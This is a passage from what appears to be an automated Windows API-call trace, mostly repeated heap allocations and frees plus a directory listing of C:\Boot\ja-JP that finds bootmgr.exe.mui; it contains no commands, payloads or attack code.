dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.131] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.131] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.131] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.131] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.131] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.131] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.131] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.131] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.131] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.131] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.131] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.131] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.131] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.131] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.132] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.132] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.133] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.133] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.134] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.134] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.135] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.135] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.136] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.136] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.137] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.137] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: 